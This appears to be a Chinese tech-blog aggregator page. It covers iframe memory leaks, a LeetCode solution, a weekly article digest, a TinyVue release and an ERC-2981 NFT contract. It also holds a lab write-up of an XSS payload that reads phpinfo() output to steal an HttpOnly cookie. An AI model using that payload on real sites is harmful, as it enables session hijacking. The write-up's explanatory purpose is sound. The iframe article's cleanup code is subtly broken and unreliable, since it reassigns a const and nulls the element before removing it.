普通视图

发现新文章,点击刷新页面。
今天 — 2025年12月25日技术

从一则内存快照看iframe泄漏:活跃与Detached状态的回收差异

作者 eason_fan
2025年12月25日 19:02

从一则内存快照看iframe泄漏:活跃与Detached状态的回收差异

内存泄漏是前端性能优化中的隐蔽痛点。近期项目排查中,通过Chrome DevTools内存快照定位到典型iframe泄漏问题:iframe移除后内部window对象未释放,导致内存持续堆积。本文从该案例切入,拆解泄漏根源,深入剖析活跃iframe与Detached iframe的内存回收差异,最终给出可落地的解决方案。

一、案例还原:内存快照中的泄漏真相

项目中存在一个“动态加载-移除iframe”的场景:点击按钮加载iframe展示内容,关闭弹窗时移除iframe。但随着操作次数增加,页面内存占用持续上升,最终导致页面卡顿。通过Chrome DevTools的Memory面板拍摄快照,发现了关键异常。

1. 快照核心发现:Detached Window的“顽固存在”

快照中出现了多个Detached Window对象(保留大小均超过50kB),且每个对象都关联着Detached HTMLDocument、DOM元素(如、自定义组件)和未销毁的事件监听(resize、touchend等)。

这里的Detached Window,正是被移除后仍滞留在内存中的iframe内部window对象——它已脱离文档流,但内存未被释放,是本次泄漏的核心对象。

2. 泄漏引用链路:外部引用+内部闭环的“双重锁死”

image.png 通过快照的“保留器链”(Retainers)功能,梳理出完整的泄漏链路(注意:链路方向并非“外部→内部”,而是外部引用锚定内部对象后,内部闭环加固引用):

image.png

Detached Window(iframe内部window)
↓ 被外部引用链锚定
global_proxy_object(iframe window的全局代理对象)
↓ 浏览器内置Symbol属性(如Symbol(unscopables))关联
Detached HTMLDocument(iframe的document)
↓ 关联iframe内部DOM元素
↓ 元素绑定未销毁的事件监听(形成闭包)
↓ 最终锁死整个对象链

核心逻辑:外部代码通过全局代理对象锚定Detached Window,而其内部文档、DOM、事件形成闭环,导致垃圾回收器(GC)无法回收任一关联对象,最终造成泄漏。

3. 泄漏核心原因:外部引用未断+内部资源未清

结合代码排查,定位两个关键问题:

  • 外部引用未清空:父页面通过const iframeWin = iframe.contentWindow保存iframe内部window引用,移除iframe时未置空该变量;
  • 内部资源未清理:iframe内部通过addEventListener绑定的resize、touchend等事件,移除前未通过removeEventListener销毁,形成闭包引用。

二、深入理解:从反直觉疑问切入,解析两种iframe的回收差异

排查过程中易产生反直觉疑问:若不清理外部引用,仅斩断Detached Window内部引用链(如断开window与文档、事件的关联),被斩断的内部资源会被回收吗?

答案是否定的:只要外部对Detached Window的引用未断,即便内部引用链被拆碎,所有内部资源仍会被“锁死”在内存中。这一结论的核心是活跃iframe与Detached iframe的执行上下文本质不同,可用通俗类比理解:

• 活跃iframe = 有人居住的正常房子:内部杂物(对象)无人使用(无引用)时,会被主人(内部GC)主动清理; • Detached iframe = 被外部绳子拴住的孤立房子:即便拆碎内部杂物(斩断内部引用链),只要绳子未断(外部引用未清),房子及内部所有物品均不会被清运(GC回收)——绳子证明“该资源仍被关联”。

1. 先明确前提:现代浏览器GC的“可达性分析”核心规则

这一反直觉结论的根源,是现代浏览器(Chrome、Node.js等)GC核心为“可达性分析”,而非老旧的“引用计数”,核心逻辑可概括为:

  • 从根对象(父页面window、全局变量、活跃函数调用栈等)出发,可触达的对象标记为“存活”,不会被回收;
  • 完全无法从根对象触达的对象,无论内部是否有闭环,均标记为“死亡”并回收。

核心结论:GC判断“是否回收”的唯一标准是“是否被根对象触达”,而非“内部是否有引用”。这是区分两种iframe回收差异的核心依据。

2. 活跃iframe:内部GC正常工作,无引用对象会被回收

活跃iframe指“仍存在于文档流中(未被remove)”的iframe,其window是浏览器认可的“有效执行上下文”——类比“有人居住的正常房子”,内部会独立运行GC线程(主人),主动清理无用杂物(无引用对象)。

即便父页面通过iframe.contentWindow保留引用(类比外部拴绳),也不影响内部GC工作:绳子仅代表“外部关注”,不干扰主人清理内部无用物品。

实例验证:在活跃iframe内部创建100M大对象,断开引用后触发GC,内存会正常回收:

// 活跃iframe内部代码
function createBigObj() {
  // 创建100M大对象
  return new Array(1024 * 1024 * 100).fill(0);
}

let bigObj = createBigObj(); // 内存占用上升
bigObj = null; // 断开引用
// 触发GC后,100M内存被回收,内存占用下降

核心原因:活跃iframe的内部GC线程独立运行,只要内部对象无存活引用,无论父页面是否保留iframe引用,均会被主动回收,内存不会无限堆积。

3. Detached iframe:内部GC停止,再零散的资源也不会回收

Detached iframe指“已被remove(脱离文档流)但父页面仍保留其window引用”的iframe——类比“被外部绳子拴住的孤立房子”,此时会发生两个关键变化:

  • 内部GC线程停止:浏览器判定其为“废弃上下文”,不再执行内部资源清理;
  • 外部引用锚定存活:父页面的引用(绳子)让Detached Window被根对象触达,GC判定“该对象链仍在被关联”。

即便斩断内部引用链(拆碎杂物),只要外部绳子未断,这些零散资源仍会被标记为“存活”——因它们属于“根可达对象关联的资源”,GC会一并保留。

实例验证:移除iframe后保留外部引用,再断开内部大对象引用:

// 父页面代码
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const iframeWin = iframe.contentWindow; // 保留外部引用
iframe.remove(); // iframe变为Detached状态

// Detached iframe内部代码
let bigObj = createBigObj(); // 内存占用上升
bigObj = null; // 断开内部引用
// 触发GC后,100M内存仍未回收,内存持续占用

结果:100M内存仍未回收。核心原因:Detached Window被外部引用锚定,其内部所有资源均被连带标记为“存活”,直至外部引用断开(剪断绳子)。

最终表现:Detached iframe的内存只会持续堆积,直至页面刷新,具体包括:

4. 两种状态核心差异对比(结合类比)

对比维度 活跃iframe(未移除) Detached iframe(已移除+外部引用未断)
执行上下文 有效,内部GC正常运行 僵尸状态,内部GC停止
内存回收规则 无引用对象正常回收,内存有增有减 所有内部对象均无法回收,内存只增不减
根可达性 可触达,但内部GC独立工作 可触达,且全局GC无法回收
常见场景 页面固定iframe、动态加载未关闭的iframe 动态移除但未清外部引用的iframe

三、解决方案:从根源避免iframe内存泄漏

结合前文分析,iframe泄漏的核心是“Detached Window被外部引用锚定+内部资源未清理”。解决方案核心为“断开外部引用+清理内部资源”,具体分两步实施:

1. 必要操作:断开父页面对iframe的所有外部引用

这是回收Detached Window的唯一必要条件:只要断开外部引用,即便内部存在少量未清理闭环,全局GC也会将其识别为“不可触达孤立链”并回收。

具体代码:

// 父页面:移除iframe的完整流程
function removeIframe(iframe) {
  // 1. 拿到iframe内部window(若之前保存过)
  const iframeWin = iframe.contentWindow;
  
  // 2. 断开父页面所有相关引用(关键步骤)
  iframeWin = null; // 清空保存的window引用
  iframe = null; // 清空iframe元素引用
  
  // 3. 移除iframe元素
  document.body.removeChild(iframe);
}

// 触发GC(可选,可通过DevTools手动触发)
performance.memory;

2. 可选但推荐:清理iframe内部资源

清理内部资源是保险项,可避免因外部引用未清干净导致的二次泄漏。核心清理范围包括:事件监听、定时器、全局变量、闭包引用等。

推荐实现方式:iframe内部暴露清理方法,由父页面在移除前调用,具体代码:

// iframe内部代码:暴露清理方法
window.cleanup = function() {
  // 1. 移除事件监听
  window.removeEventListener('resize', handleResize);
  window.removeEventListener('touchend', handleTouchEnd);
  
  // 2. 清除定时器/计时器
  clearInterval(timer);
  clearTimeout(timeout);
  
  // 3. 清空全局变量/闭包引用
  window.globalData = null;
  window.bigObj = null;
  
  // 4. 清理自定义组件/框架资源(如Vue/React实例)
  if (app) {
    app.unmount(); // Vue实例卸载
  }
};

// 父页面:移除前调用内部清理方法
function removeIframe(iframe) {
  const iframeWin = iframe.contentWindow;
  // 调用内部清理方法
  if (iframeWin.cleanup) {
    iframeWin.cleanup();
  }
  
  // 后续步骤:断开外部引用、移除元素(同前)
  iframeWin = null;
  iframe = null;
  document.body.removeChild(iframe);
}

3. 验证方法:确认泄漏已解决

可通过Chrome DevTools验证泄漏是否解决,步骤如下:

  1. 加载并多次移除iframe;
  2. 拍摄内存快照,搜索Detached Window
  3. 若快照中无Detached Window,且内存占用稳定(多次操作后无明显上升),则说明泄漏已解决。

四、总结

本次iframe内存泄漏案例,本质是对“Detached Window根可达性”及“iframe不同状态回收规则”理解不足。核心结论可浓缩为三点:

  • 现代浏览器GC只看“根可达性”,不看引用计数;
  • 活跃iframe的内部GC正常工作,内存不会无限增加;
  • Detached iframe泄漏的唯一必要条件是“外部引用未断”,解决核心是“断开外部引用+清理内部资源”。

实际开发中,只需遵循“动态移除iframe必清外部引用”原则,并配合内部资源清理,即可从根源避免这类泄漏。希望本文能帮助开发者清晰理解iframe内存机制,为前端性能优化提供有效指引。

[Python3/Java/C++/Go/TypeScript] 一题一解:贪心 + 排序(清晰题解)

作者 lcbin
2025年12月25日 07:33

方法一:贪心 + 排序

为了使得幸福值之和尽可能大,我们应该优先选择幸福值大的孩子。因此,我们可以对孩子按照幸福值从大到小排序,然后依次选择 $k$ 个孩子。对于当前第 $i$ 个孩子,能够得到的幸福值为 $\max(\textit{happiness}[i] - i, 0)$,最后返回这 $k$ 个孩子的幸福值之和。

###python

class Solution:
    def maximumHappinessSum(self, happiness: List[int], k: int) -> int:
        happiness.sort(reverse=True)
        ans = 0
        for i, x in enumerate(happiness[:k]):
            x -= i
            ans += max(x, 0)
        return ans

###java

class Solution {
    public long maximumHappinessSum(int[] happiness, int k) {
        Arrays.sort(happiness);
        long ans = 0;
        for (int i = 0, n = happiness.length; i < k; ++i) {
            int x = happiness[n - i - 1] - i;
            ans += Math.max(x, 0);
        }
        return ans;
    }
}

###cpp

class Solution {
public:
    long long maximumHappinessSum(vector<int>& happiness, int k) {
        sort(happiness.rbegin(), happiness.rend());
        long long ans = 0;
        for (int i = 0, n = happiness.size(); i < k; ++i) {
            int x = happiness[i] - i;
            ans += max(x, 0);
        }
        return ans;
    }
};

###go

func maximumHappinessSum(happiness []int, k int) (ans int64) {
sort.Ints(happiness)
for i := 0; i < k; i++ {
x := happiness[len(happiness)-i-1] - i
ans += int64(max(x, 0))
}
return
}

###ts

function maximumHappinessSum(happiness: number[], k: number): number {
    happiness.sort((a, b) => b - a);
    let ans = 0;
    for (let i = 0; i < k; ++i) {
        const x = happiness[i] - i;
        ans += Math.max(x, 0);
    }
    return ans;
}

###rust

impl Solution {
    pub fn maximum_happiness_sum(mut happiness: Vec<i32>, k: i32) -> i64 {
        happiness.sort_unstable_by(|a, b| b.cmp(a));

        let mut ans: i64 = 0;
        for i in 0..(k as usize) {
            let x = happiness[i] as i64 - i as i64;
            if x > 0 {
                ans += x;
            }
        }
        ans
    }
}

###cs

public class Solution {
    public long MaximumHappinessSum(int[] happiness, int k) {
        Array.Sort(happiness, (a, b) => b.CompareTo(a));
        long ans = 0;
        for (int i = 0; i < k; i++) {
            int x = happiness[i] - i;
            if (x <= 0) {
                break;
            }
            ans += x;
        }
        return ans;
    }
}

时间复杂度 $O(n \times \log n + k)$,空间复杂度 $O(\log n)$。其中 $n$ 是数组 $\textit{happiness}$ 的长度。


有任何问题,欢迎评论区交流,欢迎评论区提供其它解题思路(代码),也可以点个赞支持一下作者哈 😄~

前端一行代码生成数千页PDF,dompdf.js新增分页功能| 掘金一周 12.25

作者 掘金一周
2025年12月25日 17:44

本文字数1800+ ,阅读时间大约需要 4分钟。

【掘金一周】本期亮点:

「上榜规则」:文章发布时间在本期「掘金一周」发布时间的前一周内;且符合各个栏目的内容定位和要求。 如发现文章有抄袭、洗稿等违反社区规则的行为,将取消当期及后续上榜资格。

一周“金”选

掘金一周 文章头图 1303x734.jpg

内容评审们会在过去的一周内对社区深度技术好文进行挖掘和筛选,优质的技术文章有机会出现在下方榜单中,排名不分先后。

前端

前端一行代码生成数千页PDF,dompdf.js新增分页功能 @刘发财

前端生成 PDF 不清晰?文字无法搜索选中编辑?体积太大?分页切割不精准?生成页数太少?dompdf.jsV1.1.0 版本更新后,这些都不在是问题,只需要一行代码,就可以将 html 页面生成数千页 PDF 文件,这可能是前端首个实现这一功能的 js 库。

别再让 JavaScript 抢 CSS 的活儿了,css原生虚拟化来了 @Moment

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。

从原理到落地:大屏适配适配 + 高并发弹幕的企业级技术手册 @洞窝技术

随着数字化转型的加速,数据可视化大屏与实时消息场景迎来了爆发式增长。从电商监控到直播互动,再到政务指挥,大屏应用无处不在。

后端

基于Nacos的轻量任务调度方案 —— 从 XXL-Job 的痛点说起 -@踏浪无痕

于是我们在思考:在云原生时代,中间件应该是独立的"平台",还是内嵌的"能力模块"?这就是 JobFlow 这个想法的由来。

Java 设计模式:原理、框架应用与实战全解析|得物技术@得物技术

设计模式(Design Pattern)是前辈们对代码开发经验的总结,它不是语法规定,是解决特定问题的一系列思想,是面向对象设计原则的具象化实现, 是解决 “需求变更” 与 “系统复杂度” 矛盾的标准化方案 —— 并非孤立的 “代码模板”,而是 “高内聚、低耦合” 思想的落地工具。其核心价值在于提升代码的可复用性、可维护性、可读性、稳健性及安全性。

Android

Android 宣布 Runtime 编译速度史诗级提升:在编译时间上优化了 18%@恋猫de小郭

近期,Android 官方宣布了 Android Runtime 在编译时间上实现了 18% 的显著优化,同时不牺牲编译代码的质量,也没有增加峰值内存使用,换句话说,这属于是一个“速度提升 + 零损失”的优化成果。

OpenAI :你不需要跨平台框架,只需要在 Android 和 iOS 上使用 Codex@恋猫de小郭

在这个过程里,团队可以将将 Codex 看作是一名“高能力但缺乏背景的资深新员工”,所以开发者负责架构设计、用户体验和最终决策,而 Codex 负责写代码、单元测试和跨平台逻辑转换。

Android15适配之世上本无坑,targetSdkVersion升到35后全是坑@Coffeeee

自从2024年初时候,谷歌发布了第一个Android15的预览版,我就一直在关注着这个版本的走向,为什么呢?

人工智能

RAG实战|8种RAG架构浅析@周末程序猿

因为项目的需要,之前研究了一段时间的RAG,于是本文总结 8 种 RAG 架构,对每种架构进行简要介绍,并用 langchain 实现其参考代码。

别搞混了!MCP 和 Agent Skill 到底有什么区别? @也无风雨也雾晴

它们看起来都是"扩展 AI 能力"的方式,但具体有什么区别?为什么需要两套机制?什么时候该用哪个? 这篇文章会从设计哲学、技术架构、使用场景三个维度,把这两个概念彻底讲清楚。

从千问灵光 App 看生成式 UI 技术的发展 @OpenTiny社区

在新的范式下,应用不再是预先固化的静态资产,而是根据用户自然语言意图实时生成。闪应用所展现的数十秒构建能力,是生成式 UI 将界面从预先设计转变为即时生成的体现,它让应用“按需生成、用后即弃”。

LangGraph1.0速通指南(一)—— LangGraph1.0 核心概念、点、边 @大模型真好玩

从本期开始笔者将逐步介绍 LangGraph 1.0 的这些核心特性,并最终使用 LangGraph 搭建一个 邮件自动回复工具流。本期先从基础入手,讲解 LangGraph 1.0 的核心概念,重点解析   “点”与“边”   的设计与使用。

IOS

Flutter 官方正式解决 WebView 在 iOS 26 上有点击问题 @恋猫de小郭

上个月和大家聊到了 《为什么你的 Flutter WebView 在 iOS 26 上有点击问题?》 ,源头是因为 WKWebView(WebKit)内部的手势识别器与 Flutter 在 Engine 里用于“阻止/延迟”手势的 recognizer 之间的冲突,因为 Flutter 和 UIKit 都各自有手势识别系统(GestureRecognizer),为了防止互相抢事件,Flutter engine 在 iOS 上加入了一个“delaying gesture recognizer”(延迟识别器),这也最终导致了 iOS 26 上的 bug。

再次紧急修复,Flutter 针对 WebView 无法点击问题增加新的快速修复 @恋猫de小郭

所以针对这个场景,作者又提交了一个“骚操作”的快速修复,#179908 这个 PR 的修复方案非常“暴力”但也有效:找到那些特定的手势识别器,先禁用它们,然后立即重新启用, 这相当于重置了识别器的状态。

活动日历

活动名称 活动时间
晒TRAE 2025 年度报告赢定制年终奖 2025年12月25日-2025年12月30日

📖 投稿专区

大家可以在评论区推荐认为不错的文章,并附上链接和推荐理由,有机会呈现在下一期。文章创建日期必须在下期掘金一周发布前一周以内;可以推荐自己的文章、也可以推荐他人的文章。

大前端框架汇总/产品交互参考UE

作者 潍坊中登
2025年12月25日 17:27

产品交互参考UE

(水文 哈哈 )

大厂出品

1- 阿里 ant.design/ ,小程序:mini.ant.design/

2- 抖音 semi.design/ 适配抖音 / 头条小程序,基于 UniApp 生态,组件覆盖电商 / 内容场景,字节系小程序首选; 官网:nutui.jd.com/uniapp/

3- 腾讯 移动端跨平台 tmui.design , 同时做 Web 中后台 + 微信小程序 + Flutter App: static.tdesign.tencent.com

4- 金蝶 www.kingdee.design

5- 饿了摸 :后台 element.eleme.cn/#/zh-CN

6- 其他热门 www.uviewui.com/ :(免费), www.iviewui.com/price :(收费)

7- 滴滴集团 didi.github.io/cube-ui/#/z… ,didi.github.io/

原文 gitee.com/jeffcat/art…

🎉TinyVue v3.27.0 正式发布:增加 Space 新组件,ColorPicker 组件支持线性渐变

2025年12月25日 17:22

你好,我是 Kagol,个人公众号:前端开源星球

我们非常高兴地宣布 TinyVue v3.27.0 正式发布🎉。该版本聚焦于增强可定制性与可访问性,新增若干实用组件能力,并修复了大量用户反馈的关键问题,提升了在 SaaS 主题与移动端的兼容性与稳定性。

主要亮点

  • 新增插槽date-picker 增加了 footer 插槽,提升自定义底部交互能力。
  • 更精细的日期控制calendar-view 与 date-picker 支持按天指定日期与换行显示,日历展示更灵活。
  • 选择器改进select 增加 autoSelect 属性并优化可搜索场景下的中断问题,提高选择体验与可靠性。
  • 组件扩展steps 支持单链环形节点图标插槽,space 组件被新增以方便布局间距管理。
  • 样式与主题exception 组件补充了 PC 模板与深色模式支持,并对 Saas 主题做了多项样式调整(包含 ip-addressbuttondividerbadge 等)。
  • 配色与面板color-select-panel 支持线性渐变,color-select 新增 color-mode 属性,色彩选择更强大。
  • 树形菜单与搜索tree-menu 优化 demo 数据并暴露搜索事件,便于构建可搜索的侧边/树型导航。
  • Grid 功能增强: 新增 valid-config 的 highlightError、鼠标悬停显示对齐线等多项体验改进。

重要修复

  • 移动端兼容: 修复 mobile-first 场景下 tag 可选但不生效的问题;修复 Saas 模式下若干控件的样式显示异常。
  • 交互与显示: 修复 notify 垂直偏移、tabs 同时使用 overflow-title 与 with-close 的渲染问题、slider 横竖模式切换错误、calendar-view 同时段多任务显示异常等。
  • 性能与稳定性: 修复 grid 中 filterStore 的响应性问题、加载组件错误、分页尺寸变更导致的 body 高度错误等。
  • 兼容性与测试: 修复 infinite-scroll 在同页使用两处时报错的问题;完善各组件在 E2E 和示例中的兼容处理(dialog-selectinputnotify 等)。
  • 工具链与构建: 修复打包后 CSS 缺失 tiny 前缀的问题,并修复发布流程相关错误。

升级与迁移建议

  • 安装升级: 推荐在项目中将依赖升级到 v3.27.0,例如:

    • npm install @opentiny/vue@3.27.0
    • 或使用 pnpm: pnpm add @opentiny/vue@3.27.0
  • 回归测试: 升级后请重点回归以下场景:

    • 自定义 Saas 主题与样式(按钮、表单项、分隔线等视觉差异)
    • select 的可搜索行为与 autoSelect 新属性的交互
    • date-picker/calendar-view 的自定义槽位、日期展示(包含换行显示)
    • 使用 grid 的自定义校验配置与分页行为
    • infinite-scroll 在页面多处实例化的稳定性
  • 样式注意: 若项目依赖 SaaS 模板或定制 less/样式,请检查示例与主题调整(本次修复中新增/修改了若干 Saas 相关 less 文件与样式规范)。

  • 兼容 props: 关注新增的 popperOptions(Picker)、hideSaas(示例隐藏)等属性,调整自定义逻辑以兼容新选项。

社区与贡献

  • 本次发布汇集了大量社区贡献,特别感谢以下贡献者(部分举例):

    • @discreted66(多项 date-picker、calendar、exception 改进)
    • @chenxi-20(tabs、steps、notify 修复与改进)
    • @shenjunjian(select、input、picker 修复与增强)
    • @gimmyhehe(grid 相关改进)
    • @wuyiping0628、@zzcr、@James-9696、@KevinAndrewDong 等多人提交大量 PR 和修复
  • 欢迎更多新贡献者加入:本版本中 @gausszhou 与 @ynnnny 完成了他们的首次贡献。

详细的更新信息请查看 Release Notes

小结

v3.27.0 是一次以可定制性、体验与稳定性为核心的迭代:新增插槽、色彩/布局组件、以及大量围绕 Saas 与移动端的修复,将帮助你在实际应用中获得更一致、更可控的表现。升级后请务必执行回归测试并关注样式与交互的边缘场景。

联系我们

GitHub:github.com/opentiny/ti…(欢迎 Star ⭐)

官网:opentiny.design/tiny-vue

个人博客:kagol.github.io/blogs

小助手微信:opentiny-official

公众号:OpenTiny

漏洞复现指南:利用 phpinfo() 绕过 HttpOnly Cookie 保护

2025年12月25日 17:22

1. 实验综述

本实验旨在展示一个经典的“漏洞链”:利用服务器配置错误(泄露的 phpinfo.php)配合跨站脚本攻击(XSS),成功绕过浏览器对 HttpOnly Cookie 的安全保护。


2. 环境搭建

你需要一个支持 PHP 的本地环境(如 XAMPP 或 Ubuntu + Apache/Nginx)。

2.1 服务器环境确认

确保 PHP 环境已正常运行。

截图参考:系统环境确认(如 PHP 7.4.3 版本)。

企业微信截图_17666500389926.png

2.2 创建漏洞页面 vuln.php

该页面模拟两个关键点:手动设置一个受 HttpOnly 保护的敏感 Cookie,以及一个未经过滤的 XSS 注入点。

<?php
// vuln.php
// 1. 模拟登录:设置一个 HttpOnly 的 Cookie
setcookie("SecretSessionID", "A1B2C3D4E5_VERY_SECRET", [
    'expires' => time() + 3600,
    'path' => '/',
    'httponly' => true, // 关键点:浏览器脚本理论上无法读取此 Cookie
    'samesite' => 'Strict'
]);
// 2. 模拟 XSS 漏洞:直接回显用户输入的 'name' 参数
$name = isset($_GET['name']) ? $_GET['name'] : 'Guest';
?>
<!-- HTML 部分省略,包含一个显示 $name 的位置 -->

2.3 创建信息泄露页面 info.php

模拟生产环境中被遗留的诊断文件。

<?php
// info.php
phpinfo();
?>

3. 复现流程

步骤 1:确认 HttpOnly 保护生效

  1. 访问 http://localhost/vuln.php
  2. 打开开发者工具 (F12) -> Storage -> Cookies。
  3. 确认 SecretSessionIDHttpOnly 属性已勾选。此时,在控制台输入 document.cookie 将无法看到该值。

截图参考:浏览器中 Cookie 的 HttpOnly 状态。企业微信截图_17666504672500.png

步骤 2:确认 phpinfo() 信息泄露

  1. 访问 http://localhost/info.php
  2. 搜索 HTTP_COOKIE 字段。
  3. 发现风险:由于服务器会打印完整的 HTTP 请求头,受保护的 SecretSessionID 明文显示在 HTML 页面中。

步骤 3:构造并注入攻击 Payload

由于 document.cookie 被封锁,攻击者利用 JavaScript 发起异步请求来读取 info.php 的响应内容,并从中提取 Cookie。

攻击 Payload 逻辑

  1. 使用 fetch() 访问同域下的 /info.php
  2. 获取响应的文本内容。
  3. 使用正则表达式匹配 SecretSessionID 后的字符串。
  4. 将提取到的值通过弹窗或外传展示。

URL 注入链接

http://localhost/vuln.php?name=<script>fetch('/info.php').then(r=>r.text()).then(t=>{alert(t.match(/SecretSessionID=[a-zA-Z0-9_-]+/))})</script>

注意:在实际测试中,Payload 需要进行转义或 URL 编码以防语法错误。

步骤 4:执行攻击与结果验证

  1. 将构造好的链接粘贴至浏览器访问。
  2. 预期结果:页面执行注入的脚本,并弹出包含受保护 Cookie 的警告框。

截图参考:成功绕过 HttpOnly 提取到的 Cookie 弹窗。 企业微信截图_17666513368794.png


4. 结论与风险总结

  • 高危风险:此漏洞允许攻击者完全接管用户会话,即便开启了 HttpOnly 防御。
  • 防御失效:原本用于防止 XSS 窃取 Cookie 的安全标志,在 phpinfo() 的“协助”下彻底失效。

比喻理解: 设置 HttpOnly 标志就像给房子安装了防盗门,让小偷没法直接拿到钥匙;但公开暴露 phpinfo.php 就像在门旁的告示牌上贴了一张钥匙的详细蓝图。攻击者通过 XSS 潜入院子后,只需照着蓝图“复刻”一把,依然能打开你的防盗门。

30秒搞懂ERC-2981:NFT版税的终极解决方案!

作者 木西
2025年12月25日 17:06

前言

本文围绕 ERC-2981 版税标准展开,先系统梳理其核心定义、功能、解决的行业痛点及典型使用场景,再基于 OpenZeppelin 库整合 ERC-721 与 ERC-2981 标准实现版税 NFT 智能合约,最后通过 Hardhat V3 完成合约的开发、测试、部署全流程落地。

概述

ERC-2981 是以太坊 NFT 的链上版税标准,为 ERC-721/ERC-1155 合约提供统一的版税查询接口,让市场能自动获取分成规则并向创作者支付二级市场收益,核心解决早期版税碎片化、不可靠与跨平台不兼容问题,广泛用于数字艺术、游戏道具等需持续收益的 NFT 场景

ERC-2981 是什么

  • 定义:以太坊改进提案 EIP-2981(又称 ERC-2981),是 NFT 领域的标准化版税查询接口标准,兼容 ERC-721 与 ERC-1155,通过 EIP-165 接口识别,不强制市场执行版税,而是提供统一的链上版税信息查询能力。

  • 核心接口(IERC2981)

    1. royaltyInfo(uint256 tokenId, uint256 salePrice):返回版税接收地址与应付金额(以基点计算,1 基点 = 0.01%)。
    2. 可选实现:_setTokenRoyalty(单 token 版税)、_setDefaultRoyalty(全局默认版税),用于设置版税规则。
  • 关键特性:链上透明、可组合、兼容主流 NFT 标准,不依赖平台规则,由合约自主定义版税策略。

ERC-2981 能做什么

  1. 标准化版税信息存储与查询:在 NFT 合约中嵌入版税规则(比例、接收地址),市场通过统一接口读取,无需自定义解析逻辑。
  2. 自动分成触发:二级市场交易时,合规市场调用royaltyInfo计算分成,自动将版税划转至创作者 / 权利人,剩余款项给卖家。
  3. 灵活规则配置:支持单 token 独立版税、全局默认版税,可通过权限控制更新接收地址,适配动态分成场景。
  4. 跨平台互通:统一接口让 NFT 在不同市场交易时,版税规则一致,提升生态可组合性。
  5. 链上追溯:版税信息与交易记录上链,便于审计与纠纷排查,降低信任成本。

ERC-2981 解决了什么

痛点 解决方案
版税碎片化 统一接口替代各平台专有规则,开发者无需重复适配
收益不可靠 链上存储规则,减少依赖平台中心化结算的信用风险
跨平台不兼容 标准接口让市场无缝读取版税,保障创作者跨平台收益
信息不透明 公开可查询的版税比例与接收地址,避免暗箱操作
开发成本高 复用 OpenZeppelin 等库的实现,降低版税功能开发门槛

使用场景

  1. 数字艺术 / 收藏品:艺术家铸造 NFT 时设置 5%-10% 版税,每次转售自动分成,如 CryptoPunks(兼容后)、Art Blocks 项目。
  2. 游戏资产:游戏道具 NFT 转售时,开发者按比例获取分成,用于持续开发与运营,适配 ERC-1155 批量资产场景。
  3. 音乐 / 影视 NFT:版权方在二次交易中获得收益,支持多权利人按比例分配(需结合多签 / 分账合约)。
  4. IP 衍生品:IP 方通过版税获取长期收益,如品牌联名 NFT 的持续分成。
  5. 创作者 DAO / 社区:版税收入进入 DAO 金库,用于生态建设或社区分红,提升治理效率。
  6. 跨链 NFT:通过跨链桥同步版税信息,实现多链交易时的自动分成(需跨链协议支持)。

智能合约开发、测试、部署

版税NFT智能合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol"; // 新增:用于tokenURI

contract MyRoyaltyNFT is ERC721, ERC2981, Ownable {
    // 使用 uint256 替代 Counters.Counter(5.x版本已移除该库)
    uint256 private _nextTokenId;
    
    string private _baseTokenURI;
    uint96 private constant MAX_ROYALTY_BPS = 1000; // 10% 版税上限

    // 新增:可选的最大供应量限制(设为0则无限制)
    uint256 public immutable maxSupply;

    // 新增:合约部署事件
    event Minted(address indexed to, uint256 indexed tokenId);

    constructor(
        string memory name,
        string memory symbol,
        string memory baseURI,
        address royaltyReceiver,
        uint96 royaltyBps,
        uint256 _maxSupply // 新增参数,设为0表示无上限
    ) ERC721(name, symbol) Ownable(msg.sender) {
        _baseTokenURI = baseURI;
        maxSupply = _maxSupply;
        
        // 设置默认版税(basis points: 100 = 1%)
        require(royaltyBps <= MAX_ROYALTY_BPS, "Royalty too high");
        _setDefaultRoyalty(royaltyReceiver, royaltyBps);
    }

    // ======================== 铸造功能 ========================
    
    // 优化:原生递增 + 可选供应上限
    function safeMint(address to) public onlyOwner {
        require(
            maxSupply == 0 || _nextTokenId < maxSupply, 
            "Max supply reached"
        );
        
        uint256 tokenId = _nextTokenId++;
        _safeMint(to, tokenId);
        emit Minted(to, tokenId); // 记录铸造事件
    }

    // 批量铸造(新增:高效铸造多个)
    function safeMintBatch(address[] calldata recipients) external onlyOwner {
        for (uint256 i = 0; i < recipients.length; i++) {
            safeMint(recipients[i]);
        }
    }

    // 获取已铸造总量
    function totalSupply() external view returns (uint256) {
        return _nextTokenId;
    }

    // ======================== 版税管理 ========================
    
    // 优化:统一版税验证逻辑
    function setTokenRoyalty(
        uint256 tokenId,
        address receiver,
        uint96 feeNumerator
    ) external onlyOwner {
        _validateRoyalty(feeNumerator);
        _setTokenRoyalty(tokenId, receiver, feeNumerator);
    }

    function setDefaultRoyalty(
        address receiver, 
        uint96 feeNumerator
    ) external onlyOwner {
        _validateRoyalty(feeNumerator);
        _setDefaultRoyalty(receiver, feeNumerator);
    }

    function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
        _resetTokenRoyalty(tokenId);
    }

    // 内部函数:验证版税比例
    function _validateRoyalty(uint96 feeNumerator) internal pure {
        require(feeNumerator <= MAX_ROYALTY_BPS, "Royalty exceeds 10%");
    }

    // ======================== 元数据 ========================
    
    // 优化:自动拼接tokenId
    function tokenURI(uint256 tokenId) 
        public 
        view 
        virtual 
        override 
        returns (string memory) 
    {
        _requireOwned(tokenId); // 5.x推荐:替代require(_exists())
        
        string memory baseURI = _baseURI();
        return bytes(baseURI).length > 0 
            ? string.concat(baseURI, Strings.toString(tokenId), ".json") // 自动添加.json扩展名
            : "";
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return _baseTokenURI;
    }

    function setBaseURI(string memory newBaseURI) external onlyOwner {
        _baseTokenURI = newBaseURI;
    }

    // ======================== 接口支持 ========================
    
    // 必须重写 supportsInterface 以支持 ERC165 接口检测
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override(ERC721, ERC2981)
        returns (bool)
    {
        return super.supportsInterface(interfaceId);
    }
}

编译指令

npx hardhat compile

智能合约部署脚本

// scripts/deploy.js
